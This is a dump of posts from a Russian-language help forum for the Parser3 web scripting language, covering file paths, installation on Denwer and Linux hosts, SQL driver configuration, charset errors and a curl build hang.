Пример файла imgs_list:\
[code]\
/products/tablets/rc0805b/assets/RC0805B_face.png	Скачать вид спереди\
/products/tablets/rc0805b/assets/RC0805B_back.png	Скачать вид сзади\
/products/tablets/rc0805b/assets/RC0805B_top.png	Скачать вид сверху\
/products/tablets/rc0805b/assets/RC0805B_side.png	Скачать вид сбоку\
[/code]\
\
Подскажите, пожалуйста, как это осуществить. В Парсере я полный новичок."
"78506","... и если она не связана с файлом, то почему вы решили, что проблема именно в этом коже? :)"
"78507","/products/tablets/rc0805b/: /var/www/vhosts/xxxxxx.ru/httpdocs/product.p(95:16): '/var/www/vhosts/xxxxxx.ru/httpdocs/products/tablets/rc0805b/' read failed: actually read 4294967295 bytes count not in [0..1024] valid range [file.read]"
"78508","А нужно ли экранировать пробелы в файлах таблиц, если какое-то поле их содержит?"
"78510","По внешним признаком, вы пытаетесь читать не из файла, а из директории,\
как видно никакого \"imgs_list\" в имени файла нет. Но ругаться правда должно иначе, на это посмотрим."
"78511","А как же тогда его правильно туда добавить? Задача-то простая: у нас есть готовый класс, в котором есть путь к папке продукта. Нам надо во внутренню папку продукта закинуть ещё один файлик с таблицей и его прочитать. Вопрос: как правильно к имеющемуся пути ($product.path) добавить продолжение пути до нужного файла (/assets/imgs_list)?\
В php это выглядело бы элементарно: $product->path.\"/assets/imgs_list\"\
На JS тоже просто: product.path+\"/assets/imgs_list\"\
На Parser'е - ???"
"78512","Мне нужно изменить шапку сайта, вообще ни где не нашел информации и все облазил уже. Шаблоны страниц(материалов) нашел, самого сайта нет("
"78513","Поэтому сказать как устроенна программа для вашего сайта можно только разобравшись в его коде. :)"
"78514","На парсере это выглядит еще элементарнее: $product.path/assets/imgs_list."
"78515","А если в конце $product.path есть \"/\" и общий вид ссылки получается \"/domen/papka1//assets/imgs_list\"? Если написать их слитно, то получается несуществующее поле объекта [color=\"#ff0000\"]$product.pathassets[/color]/imgs_list"
"78516","[quot]А если в конце $product.path есть \"/\" и общий вид ссылки получается \"/domen/papka1//assets/imgs_list\"? Если написать их слитно, то получается несуществующее поле объекта $product.pathassets/imgs_list[/quot]\
\
http://www.parser.ru/docs/lang/?stringtrim.htm\
\
[code]\
^product.path.trim[end;/]\
$product.path/assets/imgs_list\
[/code]"
"78517","Спасибо, буду пробовать"
"78518","[quote]А если в конце $product.path есть \"/\" и общий вид ссылки получается \"/domen/papka1//assets/imgs_list\"? [/quote]\
ничего страшного. файл найдется.\
\
[quote]Если написать их слитно, то получается несуществующее поле объекта $product.pathassets/imgs_list[/quote]\
для этого случая есть фигурные скобки, про которые вы, согласно вашему первому посту, уже знаете."
"78519","Михаил, спасибо"
"78520","не помогли советы ни одного пользователя. Не читается файл и всё :(\
\
Что значит ошибка:\
[quot]\
/products/tablets/rc0805b/: /var/www/vhosts/xxxx.ru/httpdocs/product.p(96:16): '/var/www/vhosts/xxxx.ru/httpdocs/products/tablets/rc0805b/' read failed: actually read 4294967295 bytes count not in [0..1024] valid range [file.read]\
[/quot]\
?"
"78521","Вам уже сказали, что читаете вы из директории с именем /var/www/vhosts/xxxx.ru/httpdocs/products/tablets/rc0805b/ вместо файла. Почему так получается - сложно сказать, не видя всего кода. Причем конкретно с таким кодом:\
\
[code]^if(-f $c){\
$links[^table::load[nameless;$с]]\
}[/code]\
\
такой ошибки быть не может, поскольку сначала проверяется, что это именно директория. У вас точно такой код в районе проблемной 96 строки?"
"78522","а точно tablets в \"/products/tablets/...\"?)))"
"78523","96 строка содержит вот этот код:\
[code]\
$links[^table::load[nameless;$с]]\
[/code]\
\
Вот еще раз весь код этого фрагмента, который я вставил в готовый код:\
[code]\
#имя файла с таблицей описания картинок\
$a[$product.path]\
$b[assets/imgs_list]\
$c[${a}${b}]\
\
^if(-f $c){\
$c\
$links[^table::load[nameless;$с]]\
	^links.menu{\
	$href[$link.0]\
		<a href=\"$href\">$links.1</a></br>\
	}\
}\
[/code]\
\
Вот кусок класса, с помощью которого я получаю первую часть пути:\
[code]\
@getProductByPath[product_name;category_name][product_node;name;title]\
$product_node[^siteData.selectSingle[/site/catalog/category[@name='$category_name']/products/product[@name='$product_name']]]\
$name[^product_node.getAttribute[name]]\
$title[^product_node.selectString[string(title)]]\
$result[\
	$.name[$name]\
	$.title[$title]\
	$.path[/products/$category_name/$name/]\
	$.alt[^product_node.selectString[string(alt)]]\
	$.model[^product_node.selectString[string(model)]]\
	$.features[^product_node.select[features/item]]\
	$.ficon[^product_node.selectString[string(features/@icon)]]\
	$.colors[^product_node.select[colors/color]]\
	$.family_name[^product_node.getAttribute[family]]\
	$.line_name[^product_node.getAttribute[line]]\
  $.ymarket_ids[^product_node.select[ymarket/modelid]] #Yandex.Market\
]\
[/code]"
"78524","Шлите доступ + ссылку, где смотреть на moko@design.ru. Есть ощущение, что так будет проще и быстрее разобраться в проблеме. :)"
"78525","Пользуюсь $response:download.\
\
При $response:download[^file::load[binary;filename]] всё ок.\
\
Теперь нужно указать, под каким именем пользователь должен получить файл. \
нужно передавать хэш, по образцу response:body, но примеров нет и как-то не получается.\
\
$hp[\
$.file[^file::load[binary;$fn]]\
$.name[newname]\
]\
$response:download[$hp] \
\
даёт неправильное имя файла для скачивания (типа нужное_имя.html вместо нужного расширения).\
\
Как быть?"
"78526","[code]$response:download[^file::load[binary;$fn;$newname]][/code]"
"78527","А я смотрел в \"body. Задание нового тела ответа\" и \"download. Задание нового тела ответа\" и несколько сбивало то, что конструкция работала частично.\
Спасибо."
"78528","Здравствуйте, Я никогда не занималась разработкой сайтов, теперь пришлось с этим столкнуться, Есть огромное желание во всём этом разобраться, но я столкнулась с первой проблемой я не могу установить Parser, инструкции по установке мне не помогают. Пожалуйста выложите пошаговую инструкцию, можно даже с картинками по установке, чтобы было понятно девушке-блондинке."
"78529","... и помочь в этом случае очень сложно.\
\
Лучше всего если Вы расскажите что и как вы делали. Подробно. В этом случае помощь будет наверняка. :)"
"78530","Устанавливаю на Windows xp  32-х разрядную.Я скачала базовый пакет Denwer+Parser3, установила, потом выполнила указания по настройке Parser, но ничего не заработало. Более подробно объяснить не могу, т.к. не все мои действия были мне понятны((( . Может быть лучше установить каким либо другим способом?"
"78531","постарайтесь более точно сформулировать фразу - \"ничего не заработало\" - что вы под этим понимаете?"
"78532","Перехожу по сылке http://localhost/Tests/parser3/index.html для тестирования и в итоге:\
Тестовый блок Денвера\
\
Данная страница сгенерирована файлом /home/localhost/www/Tests/parser3/index.html. Чтобы подключить Parser к другим виртуальным хостам, добавьте в файл .htaccess внутри директории документов этого виртуального хоста следующие директивы:\
\
# Подключение Parser-а для всех .html-страниц\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
Кроме того, не забудьте скопировать файл /home/localhost/cgi-bin/parser3.cgi в директорию /home/ВашХост/cgi-bin/parser3.cgi.\
\
Если вы видите эту страницу, значит вы установили парсер и пытаетесь его протестировать."
"78533","И что конкретно непонятно в этой небольшой инструкции? :)\
\
Нужно зайти на Z:\\home, создать там папку с названием сайта, например parsertest, в ней создать папку cgi-bin и www, в www создать файлик .htaccess с указанными выше строками из теста, после перезапуска денвера появится хост parsertest, а в папке /home/parsertest/www/ можно будет создавать интерактивные html'ки на parser'е. :)"
"78534","Я как бы всё это сделала, но без изменений."
"78535","Добрый день! На сервере  была изменена версия FreeBSD на 8.4. У меня перестали работать два сайта. Служба поддержки пишет: \
\"[i]В данный момент при работе сайта в журнал ошибок скрипта cgi-bin/parser3.cgi вносятся следующие записи:\
\
[Wed Jul 10 23:54:29 2013] [error] [client 72.х.х.х] /libexec/ld-elf.so.1: Shared object \"libcrypt.so.4\" not found, required by \"parser3.cgi\"\
[Wed Jul 10 23:54:29 2013] [error] [client 72.х.х.х] Premature end of script headers: parser3.cgi\
\
Таким образом, для решения проблемы мы рекомендуем Вам произвести обновление используемых Вами скриптов для парсинга до версии, поддерживающей использование FreeBSD версии 8.4.\"[/i]\
\
Услуги предустановки парсера на сервере нет. Сайты отработали лет 7. Что делать?"
"78536","Не факт, что сайт семилетней давности просто так «заведется» на 3.4.2. Возможно придется попробовать несколько более старых версий.\
\
Если будут проблемы могу помочь, но для этого нужен ssh-доступ к серверу. Если нужно, то шлите данные на oleg[at]volchkov.net"
"78537","про денвер не в курсе, но наверняка там тоже EXE.\
Попробуйте в .htaccess вместо parser3.cgi поставить parser3.exe\
\
или вот инструкция:\
1. http://www.parser.ru/download/win32/ - скачиваете установщик \"parser3_4_2_ru.exe\"\
2. Устанавливаете в любую директорию\
3. создаете в папке \"home\" вашего сервера папку \"parsertest\"\
4. в папке \"parsertest\" создаете 2 папки: \"www\" и \"cgi-bin\"\
5. В папку \"cgi-bin\" копируете все вайлы из той директории, куда установили parser\
6. в папке \"www\" создаете файл \".htaccess\" с таким содержанием:\
[code]AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.exe[/code]\
7. в папке \"www\" создаете файл \"index.html\" с таким содержанием:\
[code]^eval(2+2)[/code]\
8. перезапускаете denwer\
9. открываете в браузере http://parsertest\
10. Видите цифру [b]4[/b]? ура :)"
"78538","Большое спасибо Олег! Все заработало!!!\
С уважением Наталия"
"78539","Кто нибудь собирал parser под Win после 9 марта 2013 года? После этой ветки: http://www.parser.ru/forum/?id=78081\
\
Нужна работа с куками. Если кто-то собирал - поделитесь, пожалуйста."
"78544","выложил [URL=/download/nightly/]сюда[/URL]."
"78545","в [code]$file.SET-COOKIE[/code] все равно приходит только последняя кука.\
\
Хотя таблица [code]$file.cookies[/code] верная.\
\
Ну это уже не столь важно :)"
"78546","[quote]\
в $file.SET-COOKIE все равно приходит только последняя кука.\
[/quote]\
\
это не менялось намеренно, т.к. существующий код может не ожидать иного поведения.\
\
в любом случае для множественных одноимённых raw значений есть документированное $файл.tables.имя (в данном случае $file.tables.SET-COOKIE).\
\
ну и в $file.cookies -- уже всё распарсено."
"78547","ДД!\
\
Существует ли в природе документация к parser на интуристическом английском языке?\
\
можно конечно и http://translate.google.com.ua/translate?hl=ru&sl=ru&tl=en&u=http%3A%2F%2Fwww.parser.ru%2Fdocs%2Flang%2F\
но не уверен что все понятно будет"
"78548","http://www.parser.ru/en/docs/"
"78549","не догадался ибо вот както не очевидно :) что такие доки существуют"
"78550","Здравствуйте, не могу запустить parser, выдает ошибку 500. Ставил 755\\777 права. linux redhat"
"78551","Битность парсера соответствует битности RedHat? И такого ошибки правильнее диагностировать из shell, запуская парсер из командной строки. Что выдает ldd parser3.cgi?"
"78552","Здравствуйте, шелла, к сожалению, нет. В логах пишет ошибку Premature end of script headers"
"78553","Извиняюсь, ОС другая стоит CentOS CloudLinux Server release 6.4"
"78554","А битность? И не исключено, что у хостера вообще запрещены бинарные cgi-скрипты. Далее copy/paste из другого сообщения:\
\
ldd можно вызвать и из .sh скрипта, без ssh доступа. test.sh:\
\
#!/bin/sh\
\
echo \"Content-type: text/plain\"\
echo\
\
ldd parser3.cgi\
./parser3.cgi 2>&1\
\
Важно: переводы строк должны быть Unix, положить в cgi-bin, сделать запускаемым."
"78555","Проблема решена\
Выдает ошибку ../classes/output.p(5:2): путь к базе(пароль, логин) $SQL:drivers table must be defined [parser.runtime]\
Где и как прописать драйвера к SQL? \
Пути на сервере следующие /usr/local/lib/libparser3mysql.la и /usr/local/lib/libparser3mysql.so"
"78556","Спасибо большое за помощь, вроде как скомпилировали парсер на хостинге. Теперь осталось прописать пути к драйверам SQL"
"78557","$SQL:drivers определяются в конфигурационном auto.p, который должен быть рядом с исполняемым файлом парсера. Конфигурационный файл и файлы описания кодировок доступны для скачивания в отдельном архиве.\
Но раз вы собрали парсер, боюсь и драйвер mysql вам тоже придется собрать. Путь надо указывать к /usr/local/lib/libparser3mysql.so."
"78558","MySQL-кодировка сервера  UTF-8 Unicode. Дамп базы в cp1251. Прописал ?charset=cp1251. Текст страниц показывает нормально, но все менюшки кракозябрами. В чем может быть проблема? в phpmyadmin тексты показывает нормально. для текста тип:text; для меню тип: varchar(255). Когда ставлю кодировку в браузере UTF-8 тогда меню нормально показывает, а вместо текста на страницах квадраты. Если ставлю 1251 тогда в меню кракозябры, а текст основной показывает нормально.\
если прописываю ?charset=utf8, тогда текст определяется нормально, меню - набор символов."
"78559","Покажите заголовки ответа сервера. Проверьте кодировки в май-эс-кю-эль — очень возможно, что у таблиц стоит одна кодировка, а данные закачаны в другой (это маловероятно, но проверить стоит).\
\
И стоит посмотреть исходный код страницы в браузере — наверняка сразу будет видно в каком месте «бьется» кодировка."
"78560","сделайте dump БД и убедитесь, что в разных таблицах указаны одинаковые кодировки (у разных таблиц можно указать разные кодировки) и кодировка данных в этих таблицах соответствует кодировке, указанной у таблиц.\
\
в частности вам надо проверить таблицу с элементами меню и таблицу с текстами."
"78561","они не прописаны"
"78562","В auto.p из поставки они прописаны, значит их зачем-то удалили. По умолчанию считается, что кодировка файлов на диске - UTF-8. Если это не так, надо указать в auto.p реальную кодировку, не забыв подключить файл\
с этой кодировкой (все это есть в auto.p из поставки)."
"78563","Все в одной кодировке"
"78564","Может не очевидно, но Sumo имел ввиду конфигурационный auto.p - тот который лежит рядом с бинарником парсера (а не в корне проекта, например)"
"78565","Забыть про кодировку."
"78566","Здравствуйте, после обновления curl до 7.31.0, FreeBSD 9.1 перестал работать данный функционал в парсере - процессы множатся но файл не заливается.\
Откат на предыдущую версию помог.\
Поможет ли пересборка из HEAD ?"
"78567","Пересборка скорее всего не поможет. И так даже сразу не очень понятно, в чем может быть проблема - едва ли они сменили какие-нибудь значения по умолчанию. Желательно получить bug.html - не удивлюсь, если проблема появляется при обпределенном сочетании опций использования. И да, парсеры множатся и при заданном timeout/connect_timeout?"
"78568","ночью попробовал, HEAD действительно не помог\
\
bug.html\
[code]\
$file[^curl:load[\
    $.url[http://www.parser.ru/i/logo.gif]\
    $.useragent[Parser]\
    $.timeout(10)\
]]\
^curl:version[]\
[/code]\
страница долго долго пытается открыться, процесс висит\
\
\
если оставить только\
[code]\
^curl:version[]\
[/code]\
выдаёт\
libcurl/7.31.0 OpenSSL/0.9.8x zlib/1.2.7 libidn/1.27 \
\
\
повторюсь после отката на curl-7.24 всё начинает работать как ни в чём не бывало"
"78569","Пока удалось выяснить, что проблему вызывает опция сборки curl Threaded resolver:\
\
Threaded resolver: Uses some variant of system's standard gethostbyname() or\
getaddrinfo() function. Uses either pthreads or Windows threads (on Windows)\
and creates one new thread per resolve. Non-blocking due to threads and has\
no issues with timeouts. Threaded model means resource issues handling\
hundreds or thousands of simultaneous connections (i.e. resolves).\
\
Если эту опцию в меню при сборке выключить (MTHREADED_RESOLVER), то все работает.\
Раньше (в 7.24) такой опции и не было, всегда было --disable-threaded-resolver.\
\
Почему подвисает - особых идей нет, но больше похоже на проблему в curl, чем в парсере.\
\
(gdb) info threads\
* 1 Thread 801c14400 (LWP 101004/parser3)  0x0000000802a2287a in pthread_kill () from /lib/libthr.so.3\
(gdb) bt\
#0  0x0000000802a2287a in pthread_kill () from /lib/libthr.so.3\
#1  0x0000000802a1ca6c in pthread_getschedparam () from /lib/libthr.so.3\
#2  0x0000000802a20e6a in pthread_mutex_getprioceiling () from /lib/libthr.so.3\
#3  0x0000000802a2152e in pthread_mutex_trylock () from /lib/libthr.so.3\
#4  0x00000008013f5b58 in posix_memalign () from /lib/libc.so.7\
#5  0x00000008013f508a in _malloc_prefork () from /lib/libc.so.7\
#6  0x00000008013f6f32 in calloc () from /lib/libc.so.7\
#7  0x0000000802a20c44 in pthread_mutexattr_init () from /lib/libthr.so.3\
#8  0x0000000802a20f14 in pthread_mutex_getprioceiling () from /lib/libthr.so.3\
#9  0x0000000802a2152e in pthread_mutex_trylock () from /lib/libthr.so.3\
#10 0x00000008013f5b58 in posix_memalign () from /lib/libc.so.7\
#11 0x00000008013f508a in _malloc_prefork () from /lib/libc.so.7\
#12 0x00000008013f6f32 in calloc () from /lib/libc.so.7\
#13 0x0000000802a234bd in pthread_kill () from /lib/libthr.so.3\
#14 0x0000000802a1b12d in pthread_create () from /lib/libthr.so.3\
#15 0x000000080192f3ae in Curl_thread_create () from /usr/local/lib/libcurl.so\
#16 0x0000000801930986 in Curl_resolver_getaddrinfo () from /usr/local/lib/libcurl.so\
#17 0x00000008018f5d93 in Curl_resolv () from /usr/local/lib/libcurl.so\
#18 0x0000000801905258 in resolve_server () from /usr/local/lib/libcurl.so\
#19 0x0000000801907261 in create_conn () from /usr/local/lib/libcurl.so\
#20 0x0000000801907919 in Curl_connect () from /usr/local/lib/libcurl.so\
#21 0x000000080191d544 in multi_runsingle () from /usr/local/lib/libcurl.so\
#22 0x000000080191e60c in curl_multi_perform () from /usr/local/lib/libcurl.so\
#23 0x0000000801916570 in curl_easy_perform () from /usr/local/lib/libcurl.so\
#24 0x0000000000463fc1 in _curl_load_action (r=@0x7fffffffd7f0, params=Variable \"params\" is not available.) at curl.C:576\
\
ktrace: \
  3971 parser3  RET   clock_gettime 0\
  3971 parser3  CALL  _umtx_op(0x7fffffffb208,0x3,0x1,0,0)\
  3971 parser3  RET   _umtx_op 0\
  3971 parser3  CALL  mprotect(0,0,0<PROT_NONE>)\
  3971 parser3  RET   mprotect 0\
  3971 parser3  CALL  sigprocmask(SIG_BLOCK,0x802a268f0,0x801c144e8)\
  3971 parser3  RET   sigprocmask 0\
  3971 parser3  CALL  sigprocmask(SIG_SETMASK,0x801c144e8,0)\
  3971 parser3  RET   sigprocmask 0\
  3971 parser3  CALL  _umtx_op(0x802c33e80,0x11,0,0,0)\
\
(парсер и висит в состоянии umtxn)"
"78570","Спасибо, действительно дело было в них, пробовал собирать парсер с новым curl.h эффект был тот же"
"78573","в Apache настроил группу и пользователя \"себя\" и все заработало, если кому интересно, опишу подробно"
"78574","Почему-то\
http://clip2net.com/s/5rRw8C - страны берутся из БД\
http://clip2net.com/s/5rRxPO - тут применено регулярное выражение типа [quote]^s.match[(виза\\s+в\\s+великобр[a-zа-я]*)][ig]{<a href=\"#\">$match.1</a>}[/quote] Где регулярное выражение берется из БД и применяется к переданному текста $request:body\
\
Понять не могу почему такая фишка в принципе с несколькими буквами. Если не ошибаюсь это заглавная \"И\" и маленькая Ы\
и ещё странный результат, сделал код:\
[code]$s[абвгдеёжзиклмнопрстуфхцчшщэюя АБВГДЕЁЖЗИКЛМНОПРСТУФХЦЧШЩЭЮЯ ]\
$s[^s.match[(\\w)][ig]{$match.1,}][/code]\
ответ - через запятую одни ромбики http://clip2net.com/s/5rRSEg\
\
В чем может быть дело?\
\
PS:\
1. [a-zа-я] использую, потому что \\w\
2. БД при подключении стоит ?charset=utf8"
"78575","Разобрался. Перед match поставил\
[code]$response:charset[utf-8]\
$request:charset[utf-8][/code]"
"78576","Проблема вот в чем, у меня есть временный файл, который я хочу загрузить.\
Есть абсолютный путь к этому файлу $file[www/usr/home/aaa/ccc/bbb/demo/www/_php/tmp/car_Mz3n3C]\
Когда передаю это путь ^file::load[binary;$file]\
файл ищется по следующему пути\
/home/auto/data/crm/demo10/www/usr/home/aaa/ccc/bbb/demo/www/_php/tmp/car_Mz3n3C\
\
Почему не понимает путь от корня?"
"78577","http://www.parser.ru/docs/lang/app1.htm\
\
Если нужно взять файл из другого места, то надо самостоятельно собрать «относительный путь». Т.е. получится как-то так: /../../../root/path/to/file.ext"
"78578","Ну по идеи можно очень много раз написать /../../../../../../../, дальше корня все равно не уйдет, этим же способом пользуются горе хакеры, когда через дыры в сайтах читаю конфиги сервера и всякое другое."
"78579","2 августа в московском офисе Яндекса пройдёт встреча московской группы пользователей MySQL. На встрече участники смогут обменяться знаниями, послушать полезные доклады, а также получить полезные книги от Oracle Press, предоставленные компанией Oracle.\
\
Московская группа пользователей MySQL (MMUG) существует с 2005 года и регулярно собирается для обсуждения событий в мире СУБД MySQL. На встречах выступают сотрудники компаний, разрабатывающих продукты экосистемы MySQL: Oracle, Percona, MariaDB.\
\
Начало встречи в 19:00.\
Начало регистрации в 18:30.\
\
Зарегистрироваться можно на http://events.yandex.ru/events/yagosti/MMUG/\
\
--------------\
Если кто-то еще соберется, напишите в эту тему. Устроим встречу MPUG. :)"
"78580","Выше корня уйдет, например в студийной CMS Imprimatur все классы и шаблоны лежат вне веб-пространства. Но считать конфиги сервера так все равно не получится из-за safe mode."
"78584","Как обратится к файлу ^file:load у которого в пути используется двоеточие (:)\
\
Например - /src/components/data:galery/.default/template.html"
"78585","Двоеточие допустимый символ в имени файлов в юниксе, но в других системах, например в Виндоус, его использовать нельзя. Поэтому Парсер преобразует небезопасные символы в последовательность _XX. \
\
Если есть возможность, то переделайте имена файлов и папок. Либо сделайте симлинк с data_gallery на data:gallery и обращайтесь к файлам через него."
"78586","Спасибо, понятно. Жаль, с подчёркиванием менее красиво."
"78588","Олег прав, [URL=http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/main/untaint.C?revision=1.164&view=markup]сейчас[/URL] код такой:\
[code]\
inline bool need_file_encode(unsigned char c){\
        // russian letters and space ENABLED\
        // encoding only these...\
        return strchr(\
                        \"*?\\\"<>|\"\
#ifndef WIN32\
                        \":\\\\\"\
#endif\
                        , c)!=0;\
}\
[/code]\
\
на win32 символ двоеточия не преобразуется, т.к. он может быть использован для указания буквы диска.\
если вам плевать на win32 можете просто убрать символ двоеточия из кода."
"78589","Здравствуйте!\
\
Хочу распарсить отчёт Google.AdSense. Google отдаёт мне текстовый файл с отчётом, который прекрасно открывается в текстовых редакторах или в электронных таблицах. Однако когда я загружаю этот файл в Парсере получается что-то нехорошее.\
\
Сайт работает в utf-8:\
$response:charset[utf-8]\
$response:content-type[ \
	$.value[text/html] \
	$.charset[$response:charset] \
] \
\
Пациент: http://www.am-cms.ru/accel/test.csv\
\
Что я делаю и что получается.\
\
Пытаюсь загрузить в таблицу, в этой таблице получается одна строка, а содержимое $m.0 - кракозябры. \
$m[^table::load[nameless;test.csv]]\
^m.count[]<br/>\
^m.0<br/>\
\
Пытаюсь загрузить в файл\
$m[^file::load[binary;test.csv]]\
$m.size<br/>\
$m.text<br/>\
размер файла правильный, а содержимое - кракозябры.\
Опции загрузки text/binary на ситуацию не влияют. Попытка указания явно кодировку\
$m[^file::load[binary;test.csv;$.charset[utf-8]]]\
результата не даёт (правда кракозябры немного другие).\
\
Что я делаю не так?"
"78590","Notepad++ показывает, что кодировка у файла [b]USC-2 Little Endian[/b]\
если его вручную перекодировать в utf-8 (например) - работает нормально.\
\
для автоматического перекодирования, наверное придется пользоваться внешними скриптами"
"78591","[quote]Notepad++ показывает, что кодировка у файла USC-2 Little Endian[/quote]\
\
Понятно. Те редакторы, которыми я пользуюсь, пишут просто \"unicode\", и поди разберись что это за \"unicode\".\
\
[quote]если его вручную перекодировать в utf-8 (например) - работает нормально.[/quote]\
\
Ну, до этого и я додумался. :-)\
Только хочется свести ручную работу к минимому.\
\
\
[quote]для автоматического перекодирования, наверное придется пользоваться внешними скриптами[/quote]\
\
Средствами Парсера, значит, никак?\
И поддержка таких кодировок даже не планируется?"
"78592","навряд ли, конечно :)\
ну можно PHP тут использовать:\
\
[code]$m[^file::load[text;http://$env:SERVER_NAME/php.php;\
	$.charset[utf-8]\
]]\
$m.size<br/>\
<pre>$m.text</pre>[/code]\
\
и файл [b]php.php[/b]:\
[code]<?\
$text=file_get_contents('http://www.am-cms.ru/accel/test.csv');\
echo iconv(\"UCS-2LE\",\"UTF-8\",$text);\
?>[/code]"
"78593","[quote]И поддержка таких кодировок даже не планируется?[/quote]\
\
Это по-моему первый случай за последнее время, когда такая кодировка кому-то понадобилась. :)\
\
Полноценной поддержки кодировки UTF-16 не планируется, поскольку в ней есть нулевые байты, а строки в парсере не могут их содержать.\
\
Но ваш случай (загрузка/сохранение файлов в такой кодировке) возможно получится сделать, само преобразование UTF-8 -> UTF-16\
сложности не вызывает, добавлено в to-do."
"78594","Здравствуйте, у хостера RedHat RHEL 6 x86_64, ставил Parser на RedHat x32, он работал но базы данных нет, нет подключения, выдавало ошибку Unhandled Exception. В логах проблема была в драйверах, драйвера искал, но поиски не плодотворны, те что находил, кидал в папку и прописывал пути, все делал правильно, но _test.html не обновлял пути и ничего не сообщал, и ошибка продолжалась.\
Установил сборку Parser для x64, тоже работает, но не работают базы данных и ошибка та же самая.\
Хостер написал путь до libmysqlclient.so, правда путь странный: /usr/lib64/mysql/libmysqlclient\
Путь прописал в корневом auto.p и ничего не меняется.\
Хостинг ActiveCloud\
Подскажите что делать, по какой реке плыть и в каком направлении?"
"78595","Какую ошибку выдает Парсер? В путь пропишите расширение so."
"78596","скачивал parser3_4_2_debian6x64_cgi_xml.tar.gz\
прописывал в конце .so ничего не меняет"
"78597","И вы так и не сказали какую ошибку выдает парсер при обращении к sql-серверу."
"78598","да именно он, parser3sql_10_5_debian6x64_mysql.tar.gz лежит в папке lib\
вот собственно сайт mere.mizter.ru\
там на главной публикация новости, пытаюсь отправить и выдает ошибку, сами попробуйте и увидите.\
файл теста лежит в корне mere.mizter.ru/_test.html\
ssh не особо умею пользоваться, и искал логи, они пустые. или не там ищу"
"78599","1. Судя по тесту, в auto.p у вас указан путь /usr/lib/libmysqlclient.so, а не /usr/lib64/mysql/libmysqlclient.so.\
\
2. \"Не определена переменная $SQL.connect-string, проверка корректности работы с базой данных невозможна.\"\
\
Строку подключения логичнее задать в cgi/auto.p, тогда тест\
сможет реально тестировать работу с базой.\
\
3. \"и искал логи, они пустые. или не там ищу\"\
\
parser3.log лежит рядом с исполняемым файлом парсера (parser3.cgi)."
"78600","1. Тест не обновляет путь, в главном auto.p указан действительно /usr/lib64/mysql/libmysqlclient.so\
2. На момент установки Parser сразу прописал строку подключения в главном auto.p\
3. И возле parser3.cgi нет никаких файлов кроме auto.p"
"78601","Вероятно в .htaccess прописан другой parser3.cgi (с другим auto.p)? Иначе сложно найти объяснение происходящему. И да, в cgi/auto.p можно в метод @is_developer[] добавить в конец $result(1), чтобы увидеть отладочное сообщение об ошибке."
"78602","Проблема решена следующим образом:\
1. Поддомены управляются корневым Parser и логи лежат в корневом сайте, а не с папке cgi-bin поддомена.\
2. Прописывать соединение и расположение библиотек нужно в главном auto.p корневого сайта, а не поддомена.\
3. Добавлять нужно было адрес библиотеки, который прислал хост: /usr/lib64/mysql/libmysqlclient\
Теперь все заработало. Спасибо всем за старания."
"78603","Можно ли посредством Парсера определить номер последнего пункта списка? Если да, то как?"
"78609","- компактнее (меньше букв)\
- быстрее (минус один call, в циклах может быть существенно)\
- чуть более переносимо (будет без переделок работать и для хэшей и для пользовательских объектов при определении метода @GET)"
"78610","Хостинг: ActiveCloud\
Все поддомены работают на корневом Parser (/cgi-bin/parser3.cgi).\
Если в папке поддомена создать папку cgi-bin и туда залить Parser то ничего не измениться.\
Поддомен выглядит следующим образом: /www/mere.mizter.ru\
А корневой каталог: /www/mizter.ru\
Parser сам по себе работает, обрабатывает и выполняет все функции.\
В корневом auto.p прописал абсолютные пути к библиотеки и кодировке, также прописал DOCUMENT_ROOT.\
Когда комментируешь в _test.html postprocess[] то файлы находит, а когда не комментируешь, то он их не видит. Но проблема не в этом.\
Проблема в путях поддоменов и папках, файлах поддоменов.\
Вот log:\
[Thu Aug  1 20:14:58 2013] [19774] /admere/: /home/***/www/mere.mizter.ru/admere/auto.p(57:5): 'aside' undefined method [parser.runtime] [uri=/admere/, method=GET, cl=0]\
[Thu Aug  1 20:15:01 2013] [19775] /note/: /home/***/www/mere.mizter.ru/auto.p(44:19): '/home/***/www/mere.mizter.ru/note/./mere.cfg' read failed: No such file or directory (2), actual filename '/home/***/www/mere.mizter.ru/note/./mere.cfg' [file.missing] [uri=/note/, method=GET, cl=0]\
Работают главные страницы поддоменов.\
Например вот: $sections[^table::load[./mere.cfg]]\
этот файл как известно загружает список пунктов для создания меню навигации.\
Путь до этого файла пробовал менять. Ничего не помогло.\
Проблема: при переходе в пункт меню, Parser ищет в папке файлы стилей и файл с меню и другие при необходимости.\
Вы сами можете на это посмотреть зайдя на http://mere.mizter.ru и обратившись к любому пункту меню.\
Что сделать, чтобы все работало?\
Вот _test.html корневого сайта: http://mizter.ru/_test.html\
Вот _test.html поддомена: http://mere.mizter.ru/_test.html"
"78611","DirectoryIndex index.html\
\
Options -Indexes\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>"
"78612","Unhandled Exception (pcre.execute) @conf\
UTF-8 validation failed during pcre_exec (-10).\
\
    match 	/usr/home/Project01/World/auto.p(68:21)\
\
@check[f]\
\
Со строки 61 такой код:\
[code]\
#Переопределение метода @conf запрещёно\
	$f[^file::load[text;^file:basename[$request:argv.0]]] \
\
	^if(^f.text.match[@conf]){\
		^throw[bad.method;$command;Method @conf not allowed]\
	}\
\
[/code]\
\
Как правильно сделать проверку?"
"78616","Если хотите помощи, то максимально подробно опишите что вы имеете, что делаете и что хотите получить. Перед тем как писать внимательно прочтите FAQ. Пока у меня складывается ощущение, что вы не пытаетесь разобраться в проблеме, а ищете проблему методом тыка — это тупиковый путь. :)\
\
p.s. Точка-слэш в пути к файлу означает, что он будет искаться в текущей папке, а не от document-root'а."
"78617","Ничего не понимаю. В auto.p:\
\
<style>\
^#body {margin: 0; font-family: Helvetica, Verdana, Arial; font-size: 80%; line-height: 140%; background-color: #333333;}\
^#global {}\
[b]^#central[/b] {padding-bottom: 3em; font-family: Helvetica, Verdana, Arial; font-size: 80%; padding-left: 15px; margin-right: 30px; min-width: 800px; max-width: 1300px; z-index: 4;}\
^#content {padding-bottom: 3em; z-index: 4; background-color: yellow; z-index: 4;}\
^#mainarea {padding-right: 5em; padding-bottom: 3em;}\
</style>\
\
В коде страницы:\
\
<style>\
#body {margin: 0; font-family: Helvetica, Verdana, Arial; font-size: 80%; line-height: 140%; background-color: #333333;}\
#global {}\
